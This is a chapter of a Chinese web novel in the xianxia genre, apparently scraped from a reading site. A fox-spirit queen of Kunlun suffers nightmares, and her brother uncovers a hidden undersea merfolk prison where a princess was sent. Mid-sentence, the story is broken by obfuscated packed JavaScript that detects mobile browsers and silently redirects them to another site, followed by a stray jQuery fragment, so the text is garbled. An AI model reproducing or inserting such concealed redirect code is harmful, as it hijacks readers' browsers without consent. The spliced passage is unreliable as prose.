默认冷灰
24号文字
方正启体

68. 你不要慢慢说!你快快说

作者:白马衔月本书字数:K更新时间:
    昆仑的山神发了怒,远在北海的一群鲛人老头都慌了神,早早来到了山脚下的路口,恭候着那位来探望姐姐急病的驸马回家。


    沉着脸送大舅子返程的人,走到山脚望着一路连绵不断到凡界的山脉上,整齐排着队伍朝拜圣山的人们,心里更是五味杂陈。凡界和妖境的众生,不管多艰难都要朝着昆仑的山巅拜一拜,祈祷平安康健,早日修成仙道。


    可是山顶上的自己,明明已经拥有了这世上最多的灵药,最高的修为,却依然要看着心爱的人受梦魇之苦,连着腹中的孩子一起。自他却只能束手无策地站在一旁。


    “你先回去吧,我会全力追查此事,这几日就要辛苦你和致远神君了。


    我母亲和涂山氏的耆老也已经赶到北海,九尾族的通灵术一向了得,他们齐心协力,定能很快就有好消息了。”


    听见孟白藏的话心里宽慰些的人,却用余光瞥见了旁边的两位叫人长老听见涂山氏齐聚北海时,脸上一闪而过的惊慌。显然握住自己肩膀的大舅子也注意到了这一刻,不动声色地冲他眨了眨眼后,就转身告辞了。


    回到神殿外的神君,看着屋檐上还未摘去的喜字旁,明黄色的符咒,只觉得自己的心都快要碎了。屋内致远神君的念咒之声不绝于耳,有侍从小跑出来告诉他新后好不容易刚刚睡着了,松了一口气的人只好在院中的桌边坐下,举起杯子喝着闷酒独酌起来。


    就这么自饮自斟不知过了多久,那位须发皆白的神君才从屋内走了出来,坐到了身旁的凳子上。


    “伯都,她们涂山氏的女子,向来都是不易的。


    这一回是个坎儿,只希望舒儿迈过去了,日后的日子能平顺些。”


    听见前辈的话,举起杯子一饮而尽的人长长地叹了口气,低声道:


    “我知道,虽然我不会通灵,可我每次见她感知到那些庞大的故事与故去的灵魂交流完,那虚弱的样子,都觉得心疼。


    更别提她现今还怀着孩子,被那些生息噩梦搅得觉都不敢睡,叫我想到这儿就寝食难安。”


    没想到旁边的致远神君听见这话,却轻轻摇了摇头,过了好久才收拾好情绪,答道:


    “我说的是,她现下看上去虽然嫁给了你,处境却不比她母亲和外祖好半分。


    她外祖当年艳绝青丘,神功盖世,却被族人当成争权夺势,经商互市的棋子,屡次在自己的寝殿里被下毒,在紫云山下的擂台上被行刑,更是为了降妖,在路上毫无知觉地掉了孩子,才有了被人议论百年的硬闯阎罗殿,活人渡忘川。


    其实醉影她…不过是想去阎罗殿亲自送一送那个未出世的孩子罢了,最后她的下场更是惨烈,生下孩子没几日,便以万劫不复的决心与敌人同归于尽了。


    舒儿的母亲,自然更不必说,自小就不被涂山氏承认,后来又与你父亲经历了那九死一生的情劫,一日武功不曾习过,便生生在神界受了天雷拔甲之刑,是以她到现在也不愿意回青丘,即便女儿已经坐上了紫云山的主位。


    现今的局势看来,那孩子虽然嫁给了你,明面上有了强硬的靠山和庇护,暗地里却多了不知道多少眼红嫉妒的宿敌,更别提那些从来就看不上九尾的仙族,要眼睁睁看着她生下昆仑的下一任主人,未来的天下九部共主。


    我每每想到这儿,就焦心得很,她比她外祖天真,又比她母亲更孤勇,这两个特质,对一个年少即位的国主,和昆仑的新后来说,实在都算不上什么优点。


    只愿…只愿赌了三生两世的涂山氏姑娘,这一次,能福寿双全,求一个祖辈们都未求到的圆满吧。”


    说完这些都上神,也给自己倒了一杯酒,喝完以后径直握着拂尘走了回去。


    留在原地的人望着落满肩头的洁白梨花,和地上斑斑点点的花瓣,心里五味杂陈,这一刻他只觉得肩头的担子有千斤重。当年的青丘女战神是如何惨烈,他自小就听父亲说过无数次了。


    舒儿的母亲当年是如何被母亲搓磨折腾,还差点死在北海的地牢里,更是两家如今讳莫如深的禁忌。


    直到里面传出爱人醒了的声音,他才拿起茶杯漱了漱口,赶忙走了进去。


    坐在床上的小狐狸脸色依然苍白,望见夫君进来,赶紧往床边坐了坐。伸出那双冰凉的小手抚上了他的脸,过了一会儿,又疑惑地歪过了头,瞪大了那双湿漉漉的眼:


    “你怎么喝了这样多的酒?”


    被看穿的陆伯都一时间不知如何作答,只好低头吻了吻她的手心,又伸手掖了掖被子,接过仙侍手里的甜汤。对着碗吹了又吹,一勺一勺地亲自喂着受苦的妻子。


    “上神,鲛人国驸马求见。”


    这大舅子的手脚倒快,也不枉费他们这些年这样疼他。


    “便叫他进来说吧,也好一起用些饭。


    这一日里从北海走了两个来回,也是折腾他了,淳姬眼看着也快要生了,我这场病生的,真是难为大家了。”


    大步走进来的人听见姐姐的话,显然有些不乐意,他大步走到桌边,自顾自连喝了几杯水才说道:


    “哪里是你为难我们?怪我非要送那几篓子海货来,本想着给你补身子,却没想到弄巧成拙了。”


    这话还未落音,守在自己床边的陆伯都就已经慌得站了起来,见此情境连连摆手的孟白藏忙不迭解释道:


    “你放心!没下毒,从鲛珠殿到昆仑神殿,一应入口的东西要经过七次验毒,便是有人想下毒,只怕也是寻不着机会。


    你先坐下,听我同你们慢慢说。”


    挨着床坐下的孟掌柜刚说完这句话,肩上就被新婚的姐夫擂了一拳。那只熬得眼圈乌青的老虎,全然没有了从小到大的那份冷静,皱着眉瞪着眼喝道:


    “都什么时候了还听你慢慢说?你给我快快说!”


    知道此事非同小可,不敢还嘴的弟弟赶忙把今日的进展说了出来:


    涂山氏耆老和母亲到达鲛珠殿后,便结阵通灵,一开始那群鲛人老头子嘴硬得很,什么都不肯说。即便狐族已经通灵感知到离大殿不远的地方,有一处死气极重,极其诡异的所在,对方还是一个字都不肯说。


    直到大着肚子的淳姬在王座上发了火,把看上去最奇怪的一个长老绑了起来说要丢进那个地方探探究竟,他们才松了口,说那儿是犯了罪的鲛人挨罚做苦力的炼狱。


    “母亲实在担心你,涂山氏来的又都是年长的。


    便只身下海潜了过去,那地方浪大得吓人,藏在一处大礁石后面,我这么多年倒还真未曾注意过。后来他们见母亲一个女流之辈,都敢下海去通灵,便都跟了上去,一下就把那海底藏着的秘密挖了出来。”


    弟弟的话又疾又快,坐在一旁的孟望舒却只觉得心如刀割。母亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272716|155451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这一世都没有被涂山氏承认过,即便自己即位的时候,也只是远远的观礼,不愿与那群亲族有任何来往,此次却为了她与那些人共同结阵通灵,还忘了自己不善水的弱点,只身下海通灵,实在是叫人心疼又内疚。


    “我的梦里,那地方的确有很多做苦力的人,地底下全是岩浆,许多人顺着黑色的绳子往上爬,门口站着一个妖怪,面庞奇宽,头顶深绿的海草绿冠,瞪着一双猩红的眼,每只手只有三个指头,每个指头却又都宽得出奇……”


    回忆起梦境的小狐狸有些许出神,却没有前些时候那么害怕了。


    “正是!正是!我也是今日才知道!


    鲛人族呢,确实有这么一个地方,但是关押的都是一些好斗斗黑鳞鲛人,往日里逞强斗狠啦,伤了人啊,杀了族人之类的,就会被关进那儿,他们的后代也会跟在里头做苦力。


    像北海装鱼啊贝啊的那种筐子篓子,百年不绣不腐,都是我姐姐梦里的那种黑绳子编的,这些年,那地方已经不止关黑鳞了,犯了罪的蓝尾绿尾,海妖们全都在那儿,除了地牢里那些特别凶恶铁链拴着的,其余的精怪恶鬼,也都关在那里头。


    按说到这儿,也没有咱们什么事,坏就坏在,那儿的头子,是我媳妇儿她外婆的外婆那一辈的一个黑鳞将军,熬到现在,你都不能说他是条人鱼,活了好几百年,眼珠子都白了还精壮得很。


    那简直就是个鱼中恶鬼,人中极品,又人又鱼,半人半鱼…反正就是这么个东西,他在底下关了几百年,看守无数的恶人恶鬼海妖海怪,从前也没有异心呐。


    到了淳姬她母亲上任前,不知哪儿得来了消息,信任的国主是个黑鳞,一下子觉得沾亲带故的,不能搁地底下呆着了,就非要造反。那群蓝尾的老头子可真不是个东西,能用女人解决的事儿,绝不打仗,居然送了一位皇姬给他当媳妇和亲!


    把这个事儿就这么了了。”


    这个故事到了这儿,接下来的情节不用弟弟说她也能猜到,梦里哀唱的那位女子应该就是被送进海底炼狱的那位皇姬了。不知道从小养尊处优的那位公主,是如何在那滚烫的岩浆地底活下来的,又如何接受了被当作棋子利用的一生。


    “这事儿,到淳姬母亲继位的时候,就想追究下去,把那位皇姬救出来。


    谁知道那群老头非要和那地底底老妖怪沆瀣一气,说那位皇姬嫁进去没多久,受不了折磨早早的离世了。


    从上到下沆瀣一气,把这儿瞒得铁桶一般,她母亲便只好不了了之了。


    谁知那位皇姬,也不知算不算命大,在那鬼地方竟活了下来,还活到了现在,只是她年老色衰后,便被扔进了炼狱里,拴在了一个大礁石旁边,近日北海和神界都喜事不断,那地方编好的箩筐篓子,刚弄好就抬上来用。


    也不知道里面哪个活物沾上了那地底的怨气,缠上了我姐……”


    心里明白了事情原委的人,反而对梦里的一切少了许多的害怕,多了更多的难过。她以为,蓝尾那些以色侍人,不停的以少女的一生换取安宁的日子已经过去许久了。


    却不想时至今日,还有一位皇姬关在地底受苦。


    “那现在…人可救出来了?”


    被姐夫的问话戳到心窝的鲛人驸马这适合却只剩下挠头:


    “还没有,鲛珠殿里,现在正不可开交的闹着哩。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)